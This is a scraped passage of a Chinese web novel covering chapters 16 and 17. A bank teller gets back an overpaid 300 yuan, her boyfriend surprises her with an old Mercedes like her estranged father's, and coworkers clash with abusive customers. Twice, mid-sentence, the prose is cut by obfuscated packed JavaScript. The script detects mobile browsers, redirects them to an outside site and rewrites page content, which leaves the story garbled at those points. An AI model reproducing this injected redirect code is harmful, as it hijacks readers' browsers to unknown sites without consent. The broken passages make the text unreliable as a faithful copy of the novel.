钱丽娜却没有那么乐观,她仔细看了看存钱的人,“原来是他。”钱丽娜抱着双臂,同情又惋惜,“别人的话说不定还能试一试,要是他的话肯定是追不回来了。” 这个光头老人是网点的常客,长得极为凶悍,为人也十分苛刻。网点有评价系统,每当他们让老人为柜员的服务作出评价时,他都会理直气壮地按“不满意”。 这么长时间,没有人可以例外,连最是温和好脾气的倪真真也没能逃脱他的魔爪。 “不会吧……”倪真真抱有一丝侥幸,她总是不愿意把人想的太坏。 “怎么不会!”像是被戳到了痛处,钱丽娜瞬间拔高音调,“我上次短款,打电话过去对方根本不承认,后来直接拉黑,主任为了营运评价,不让报警,最后还不是我自己垫的。还有晓丹,那个老太太说起来还是看着她长大的长辈,要不是晓丹她妈带着东西上门,她能那么痛快地还钱吗?” 钱丽娜越说越激动,“你又不是不知道每天来的那些人多么爱占便宜,今天不就有一个,听说存钱送话费,就把一万块钱存了又取、取了又存,你告诉他一个人只能参加一次,他就骂你是骗子。那些人天天想着从银行敲一笔,一会儿说卡里的钱少了,一会儿说取到□□,这可是送上门的三百块钱,他高兴还来不及,怎么会还你!” “对了。”钱丽娜又说,“上次有一个人来存钱,递给你五百说存六百,然后污蔑你贪污了他一百,你忘了?” 倪真真解释道:“他可能真的有六百,只不过不小心丢在别的地方,应该不是有意的。” “怎么可能!”钱丽娜冷笑一下,在心里骂道,怎么会有人这么傻! 说实话,要不是钱丽娜提起,倪真真都不记得有过这件事,没想到钱丽娜会记得这么清楚。 “算了……”钱丽娜似乎意识到自己有些失态,她长叹一声,语重心长道,“我当然希望你能要回来,不过也得做好最坏的打算。” 三百块钱说多不多说少不少,不管怎样,至少要打电话试一试,不过电话还没打出去,许天洲的电话倒是来了。 许天洲催她快点儿回去,“我有惊喜要给你。” 16. 第 16 章 回去的路上,倪真真试着给光头老人打电话,第一个电话打通了但没人接,后来再打就怎么也打不通了。 倪真真想起钱丽娜的话,“这可是送上门的三百块钱,他高兴还来不及,怎么会还你!” 倪真真不愿相信,她执拗地认为老人或许有什么不得已,说不定电话号码根本就是错的。 冬日的第一场雪断断续续下了两天,刚才稍稍停了一会儿,现在又下了起来。 天早已黑了,街上霓虹闪烁,间或有蒸汽从餐饮店冒出来,为满目五彩斑斓再添一色。 一步踏入租住的小区,浮华与热闹纷纷退场,除了窗户上透出的灯火,再难看到其他颜色。 但这并不妨碍她一眼看到一个熟悉的身影。 银杏树下,许天洲长身玉立,银装不只包裹了大地,也为他披上一片雍容炫目的莹白。 许天洲穿一件深色大衣,没有系扣子,露出里面常穿的西装,还有一条浅灰色围巾。 那是倪真真买给他的。 也不知道他在那里站了多久,头顶、肩上覆盖了一层白白的雪花,目光灼灼有神。 倪真真的第一反应是,他不冷吗? 她下意识加快脚步,几乎是在积雪的道路上深一脚浅一脚地跑过去,像是心疼,又像是在埋怨,“你怎么在这儿?” “回来了?”许天洲的脸上挂着笑,他往旁边指了指,说,“快看。” 那是一辆被积雪覆盖的车。 老小区车位紧张,能停车的地方都停满了,所以她虽然看到了这辆车,但在许天洲用手指之前,她并没有把这辆车和许天洲联系在一起。 倪真真顺着他的手指看过去,雪虽然厚,但还没有盖过车头的立标,倪真真一眼看出来,那是一辆奔驰。 倪真真惊讶道:“车买好了?这么快!” 许天洲含笑不语。 倪真真恍然大悟,原来这就是他说的“惊喜”。“惊”是有那么一点,“喜”就谈不上了。 气温越来越低,倪真真抱上许天洲的胳膊,说:“快回家吧。” “你不看看吗?”许天洲问。 倪真真怔了怔。 和许天洲不同,她对车不感兴趣,对奔驰也没什么执念,不过既然许天洲这么说了,她也不好扫兴,于是装模作样地端详一阵,点着头说:“嗯,挺好。” 许天洲察觉到她的敷衍,毫不留情地揭穿她,“雪都盖住了,能看出来什么?” 倪真真很想说,她真不觉得有什么好看的,她又不是没见过,国际学校,家所在的小区,到处都是。 况且她家里也有一辆,不过那是老款,是父亲发家时买的,陪伴她走过了童年、少年,直到她离开。 许天洲好像铁了心要她看,他站在车头,向她招手。 倪真真没办法,只好走过去。 她在许天洲的示意下伸出手,把引擎盖上的雪扫掉一点。雪有些厚,倪真真这一扫不够有力,是许天洲补了一下,才露出里面的黑色车漆。 雪还在下,白色的冰晶落在黑色车漆上,那样渺小又那样耀眼。 倪真真以为做到这里已经足够了,没想到许天洲依旧执着,他不说话,只是用那种裹挟着期待与鼓励的眼神看着她,让人不忍拒绝。 倪真真继续挥动手臂,又将雪扫掉一块。 这一次,她终于发现一点不同。 倪真真也说不上自己是从哪里看出来的,或许是从引擎盖上隆起的流线,或许只是一种发自内心的感觉。 不用许天洲再说什么,她忽然像变了一个人。倪真真也不顾那些雪会不会把自己弄湿,她疯了一样趴在上面,一下接一下将雪扫开。 很快,车头露了出来,正是她最熟悉的样子。 视线变得模糊,倪真真不敢相信,怎么可能? 似乎是想让她看个清楚,路灯“啪”的一声亮了起来,正好将他们包裹其中,也给了那辆车不可思议的光。 倪真真甩掉眼泪,继续扫雪,许天洲也在一边帮忙,直到整辆车完全暴露在她的眼前。 那是一辆黑色的老款奔驰,经过了岁月的洗礼,却没有留下一点痕迹。 眼泪夺眶而出,倪真真再也控制不住,她哭着问许天洲:“为什么?” 她以为许天洲会买新车,没想到他会买二手车,还是一辆没人要的“老爷车”。 许天洲淡淡地笑着,问:“喜欢吗?” 倪真真只顾着哭,根本没办法回答。 这辆车对别人来说可能只是一个车,对她来说却是一把开启回忆之门的钥匙。 父亲念旧,自从买下那辆奔驰后再没换过车,他就是用这辆车送她去学芭蕾,去学校,去考试,带她去海边,去博物馆,去温泉酒店…… 许天洲拉开车门,向她招手。 倪真真坐进去,先是打了一个冷颤,接着止不住地发抖。 车里比外面冷得多,她的心里却暖暖的,如此熟悉的场景,瞬间将她带回到小时候,仿佛在下一秒,爸爸妈妈就会转过头,担忧地问她,“宝贝,你怎么哭了……” 可惜她再也回不去了,为了和许天洲在一起,她和父母断绝关系。现在有了这辆车,她好像再次有了父母,有了家。 许天洲也坐进来,拿了纸给倪真真擦眼泪。 “你怎么……”倪真真哭得上气不接下气,许天洲需要极其用心才能辨别出她的词句,“我以为……” “以为什么?” 倪真真嚎啕大哭。 虽然她一再告诫自己不要干涉许天洲,但她还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735559|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些伤心,仿佛坐上一条进水的船,在她拼命往外舀水的时候,许天洲却把洞凿得更大了。 还好,一切只是误会,他们的心还是在一起的。 许天洲幽深的目光在她满是泪痕的脸上一转,佯怒似的替她说:“你以为我只顾自己?” 倪真真点头。 不过她也没有太过自责,因为她意识到自己上当了,许天洲根本就是故意的!他早就想好要买二手车,却有意误导她,害得她…… “你好讨厌!”倪真真骂道。 许天洲轻笑一下将她拥进怀里,倪真真挣扎了两下,但力气实在太小,不只可以忽略不计,还带了点撒娇的意味。 许天洲严肃道:“和我在一起,有没有比一个人的时候更幸福?” “没有。”倪真真赌气道,“你总欺负我。” “我欺负你?”许天洲说完,呼吸像是一团雪,一下子被风吹乱了。 他倾身而来,将倪真真压在座椅上,捧着她的脸亲了亲她的鼻尖,又控制不住似的触碰她的脸颊。 尚未干掉的泪水挂在倪真真的睫毛上,冰冰凉凉的,许天洲在把那些泪珠吻掉的同时哑着声音说,“那就再欺负欺负你。” 那天,他们在车里坐到很晚。 许天洲本想带她出去兜风,奈何积雪未清,只能作罢。时间已经很晚了,倪真真还万分留恋似的坐在车里,一点也不想离开。 车头放着两人捏的小雪人,巴掌大小,可爱极了,偶有路过的行人,都会忍不住看上两眼。 倪真真向许天洲说了很多有关这辆车的记忆,连她自己都没发觉,她人生的多个重要节点好像都和这辆车有关。 这是她以前不会说的,她怕许天洲心里不舒服,现在,她终于可以敞开心扉。 倪真真还问起许天洲有关他家那辆“神车”的故事,“所以你们一家一起出去的时候,你是蹲着,还是躺着?” “怎么可能躺着,每天都要拉货,不知道有多脏,学校的校服又那么贵。后面有个折叠马扎,我就坐那上面。” “没有被交警查吗?” “怎么没有?还罚了钱。” “是吗?”倪真真没忍住,捂着嘴笑。 许天洲也跟着笑。 他没有说的是,那天被交警罚款后,父母相当懊恼,他们先是相互埋怨,接着又一起指责许天洲,非说是他的错。 “要不是因为你,我们会受这种苦吗?” “500块钱够一个月的房租。” “不知道什么时候才能挣回来……” “你千万要好好学习……” 回到家中,倪真真很快睡了,许天洲疲倦地闭上眼睛,久久不能成眠。 因为他突然意识到一件事,他好像越陷越深了。 17. 第 17 章 第二天一早,倪真真刚踏进更衣室,荣晓丹就发现了她的不同。 她夸张地大叫一声,说:“真真,你的眼睛怎么了?” 钱丽娜也发现了,倪真真两只眼睛肿得和桃子似的,一看就哭过,而且是狠狠地哭过。 倪真真生的白,哪怕长了一个小得不能再小的痘痘也会分外显眼,眼睛肿成这样,自然逃不过两人的眼睛。 荣晓丹担忧地问:“你是不是哭过?发生什么事了吗?” “没有。”倪真真有些不好意思,她逃开荣晓丹的目光,往更衣柜走去。 钱丽娜在心里道,还用问吗,肯定是因为昨天赔了三百块钱,心里委屈了。这个荣晓丹,也不知道是不是故意的,假装没看见就算了,偏偏要说出来。 “哦,我知道了!”荣晓丹像兔子一样跳过去,歪着头问,“是不是因为昨天的三百块钱。” 倪真真笑了一下,实话实说:“不是。” “有什么不好承认的?干咱们这行的,谁没短过款赔过钱,你就说我吧,这才干了多长时间,林林总总加起来赔了好几千,连我妈都说,别人来上班是挣钱的,我倒好,净赔钱了。” 荣晓丹声调很高,语速又快,说起话来好像小鸟,特别是那句“净赔钱了”,简单的几个字拐了七八个弯,和唱戏似的,倪真真一时没忍住,笑出了声。 “笑啦?”荣晓丹扶上倪真真的肩膀,“怎么样?有没有好受一点?” 倪真真知道她是为自己好,她拍了拍荣晓丹放在自己肩上的手,说:“真不是因为这个。” “那是因为什么?” 倪真真被逼的没办法,只好含糊道:“是因为家里的事。” “是吗?”这倒是荣晓丹没想到的,她眼珠一转,向钱丽娜看去。 钱丽娜好像并不意外。 果然和她想的一样! 她刚才就觉得不对劲,倪真真的心里怎么会这么脆弱,不就是三百块钱吗,至于哭成那样? 后来一想,又觉得情有可原。 三百块钱对别人来说可能没什么,对倪真真来说却没有那么简单。 他们夫妻没房没车,老公又在米粉店工作,肯定是倪真真的老公知道后说了什么埋怨的话,才会让她哭得那么伤心。 “哎……”钱丽娜在心里感叹,要不说贫贱夫妻百事哀。 倪真真的遭遇让钱丽娜更加坚定了谨慎择偶的决心,还是那句话,“爱情能当饭吃吗?” 她对倪真真越发同情起来,上前一步道:“真真,你给老头打过电话吗?” “打过,没人接。” 荣晓丹说:“要不再打一个试试?” 倪真真又打了一个电话,还是没有人接。 钱丽娜露出一副果然如此的表情。 倪真真耸了耸肩,想到一种可能,“说不定把我当诈骗电话了。” 荣晓丹在一旁点头附和,“有可能。” 只有钱丽娜在心里冷笑,这两个人,到底什么时候才能认清现实。 时间到了九点,银行准时开门迎客。 出乎意料,光头老人居然自己送上门。他也没有排号,直奔倪真真的柜台走去。 钱丽娜瞧见了,心想这下有热闹看了。 老头昨天在倪真真那里得了便宜,今天又来撞大运,相同的手法再来一次,说不定又能白得三百块钱。 谁知道没等倪真真开口,老人率先道:“姑娘,你昨天是不是多给了我三百块钱。” 倪真真抬起头,外面的阳光直射进来,弄得她睁不开眼。等她适应了光线,这才看清眼前的老人是谁,倪真真赶忙道:“对,是有这么回事,我给您打电话就是想说这个事。” 老人说:“我来还钱了。” 原来老人真的把倪真真的电话当成诈骗电话,“我儿子说了,陌生号码一律不接。” 他掏出三百递给倪真真,调侃道:“吓坏了吧?别人咱可不好说,到我老李这儿,你放心,绝不会干那种昧良心的事,你们年轻人,不容易。” 老人把钱放在上衣内兜,离心脏最近的地方,这么冷的天,还带着烫人的温度。 倪真真拿着失而复得的三百块钱,不敢相信这是真的。不管怎么说,这件事确实是她的错,她应该有所表示。 “您是专门跑了一趟吗?太不好意思了。”倪真真拿出一百递还回去,“我给您打车费,您一定要收下。” “要什么打车费?”老人不屑道,“早上遛弯,顺便的事,你别看我现在这样,往上三代也是有头有脸的,哪儿能要你这个钱。” 倪真真还想给,老人坚决不要。 拉扯间,倪真真倒是想起来一件一直困扰她的事情,“对了,有一件事我一直想问您,我们的服务是不是有什么不周到的地方?您好像每次都按不满意。” “是吗?”老人疑惑道,“我按的是不满意?” 他拿起评价器仔细看了半天,接着猛拍大腿,懊恼道:“原来这边是‘不满意’,这边才是‘满意’,你瞧我这眼神,对不住对不住。要不我现在给你按个满意?你要几个我按几个。” 原来又是一场误会,倪真真哭笑不得,“您的好意我心领了,按就不用了。” 老人特别抱歉,“没给你们造成什么麻烦吧?” 怎么没有?一个“不满意”差不多有十块钱,不过也无所谓了,老人也不是故意的。 “您放心吧,没有。”倪真真笑着说道。 老人这才松了口气,他向倪真真挥了挥手,“钱也送到了,我该走了,你忙着吧。” 可惜有防弹玻璃隔着,倪真真不能送老人出去,她甚至连目送都来不及,立即叫了下一位客户。 很快,那句每天都会重复无数遍的话再次响起,“您好,请问您需要什么服务?” 也许是因为阳光正好,漫天的冰雪开始融化,倪真真说这句话时的语气似乎比以往任何一次都要温暖。 事情圆满解决了,钱丽娜却一点也高兴不起来。 为什么会这样?她不断地问自己。 为什么倪真真短款了,对方会一分不少地送回来,她短款了,却碰不上这样的好事。 在钱丽娜片刻的失神中,玻璃外的人等不及了,一个中年女人拍着桌子破口大骂:“你没吃饭吗?怎么这么慢,傻叉!” 钱丽娜早就习惯了,银行规定,在给客户递东西时必须使用服务用语,不过她也懒得说了。 她把一千元现金递给那个女人,那个女人没有接,而是用命令的口吻道:“存一百。” 不是刚取了一千,怎么又要存一百? 女人见她没动,气急败坏地继续道:“你聋了?没听见吗?我让你存一百!” 钱丽娜明白了,这是遇上找茬的。她先取一千,再一百一百地存,然后再取一千,再一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735560|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一百地存,女人不为存钱也不为取钱,就是为了折腾她。 她是哪里得罪她了吗? 钱丽娜想起来了,前几天,这个女人拿着银行卡在ATM机取钱,输错秘密后卡被锁了,她拿着卡到柜台解锁,钱丽娜发现不是她本人的卡,就没给她办。 女人说卡是老公的,请她通融通融。 “通融?” 钱丽娜不是没通融过,她刚上柜台的时候,遇见一个来存钱的老奶奶。 老奶奶拿着一个布包,里面装着一把零钞还有一张一百,每张钱都是皱皱巴巴的,一看就知道攒了很久。 不巧的是,那张一百是假的。 钱丽娜告诉她,按照规定,□□必须当场收缴。 老奶奶当即哭了出来,求她通融通融,“你不能全拿走,给我换张五十的也行,求求你了。” 不知怎么,钱丽娜在那一刻想到了自己的奶奶,她一时心软,把钱还了给她。 那时的她还在为自己做了一件好事而沾沾自喜,没想到第二天,老奶奶的子女们一起堵在银行门口,非说老奶奶来存钱,钱丽娜用了掉包计,把□□换给老人。 他们又哭又闹,引得很多人来看热闹,网点主任也知道了。 主任的态度很明确,钱丽娜没有按规定收缴□□,要是追究起来是可以开除的。 钱丽娜明白了,她不能没有工作,所以只能自认倒霉,拿出一百块钱交给那家人,那家人终于欢天喜地地走了。 从那以后,钱丽娜的人生里再没有了“通融”两个字,因为她终于意识到,银行那么多规定,表面上是在限制别人,其实是在保护自己。 她再一次宣读银行的规定,“只能本人来办。” 女人崩溃了。 钱丽娜面无表情地欣赏着女人从苦苦哀求到出离愤怒,就好像在看一只因为太阳炙烤而不断翻滚的蚂蚁。 她终于感觉到一丝畅快。 女人最后威胁她,让她下班别走,她说什么也不会放过她。 那天下班后,钱丽娜并没有见到她,她还以为这件事已经过去了,没想到今天又来了。 钱丽娜才不怕! 不就是存钱取钱吗,反正也是最简单的业务,不怎么费脑子,和她一个奇葩耗上一天总比和一群奇葩斗智斗勇好,到了五点,她准时下班,她又能把自己怎么样? 钱丽娜打定主意和她耗到底,主任却急了,眼看着大堂里的人越来越多,他不能让一个宝贵的柜台耗在无谓的事情上。 主任让钱丽娜道歉。 钱丽娜不知道自己错在哪儿,如果非说有错,那就是错在不该来银行上班。 “快道歉!”主任催促道。 钱丽娜没办法,不情不愿地说了一句“对不起”。 主任又说了一堆好话,外加赠送了一份小礼品——两个钢丝球,这才把人送走。 女人走后,主任很快变了一副脸,他用下巴指了指门外,又向钱丽娜使了个眼色,“老公出轨了,心里不痛快。” 心里不痛快就能找她撒气?她受了委屈又要找谁? 钱丽娜转过头,一眼看到倪真真。 倪真真也在面临同样的麻烦,她不断向客户解释,这个只能本人来办,对方不听,指着倪真真的鼻子骂,可是不管他骂得有多难听,倪真真都能笑脸相迎。 钱丽娜真的很想知道,倪真真一点也不觉得委屈吗?